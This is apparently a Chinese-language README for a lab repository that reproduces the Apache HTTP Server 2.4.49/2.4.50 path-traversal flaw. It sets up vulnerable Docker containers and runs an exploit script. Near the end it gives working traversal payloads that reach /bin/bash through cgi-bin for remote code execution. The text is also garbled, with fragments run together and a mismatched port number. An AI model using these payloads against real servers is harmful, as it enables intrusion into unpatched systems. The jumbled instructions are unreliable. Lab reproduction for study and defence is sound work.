在 Apache HTTP Server 2.4.49 的路径规范化修改中发现了一个缺陷。攻击者可以利用路径遍历攻击将 URL 映射到由类似 Alias 指令配置的目录之外的文件。如果这些目录之外的文件没有受默认配置 "require all denied" 保护,则这些请求可能成功。此外,如果还为这些别名路径启用了 CGI 脚本,则可能导致远程代码执行。此问题已知在野外被利用。此问题仅影响 Apache 2.4.49,不影响较早版本。Apache HTTP Server 2.4.50 中的修复不完整,请参见 CVE-2021-42013。
pip3 install colorama 安装的 Python 库)perl CGI 脚本以 docker/podman 容器启动存在漏洞的 Apache httpd(使用默认配置)。
| Dockerfile | 容器 | 版本 |
|---|---|---|
| Dockerfile2449 | vulnapache2449 | 2.4.49 |
| Dockerfile2450 | vulnapache2450 | 2.4.50 |
curl localhost:2449/cgi-bin/hello.pl
3.2 curl localhost:2450/cgi-bin/hello.pl| 容器 | 监听端口 |
|---|---|
| vulnapache2449 | 2449 |
| vulnapache2450 | 2450 |
python3 main.py localhost:4249
1.2 选择针对 2.4.49 版本的攻击
1.3 python3 main.py localhost:2450
1.4 选择针对 2.4.50 版本的攻击
该漏洞利用将利用 Apache httpd 的 CGI 模块,通过路径遍历允许执行任意可执行文件。
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash.%2e/ 是 URL 编码的,解码后等于 ../。
.%%32%65 是双重 URL 编码的,解码后也等于 ../。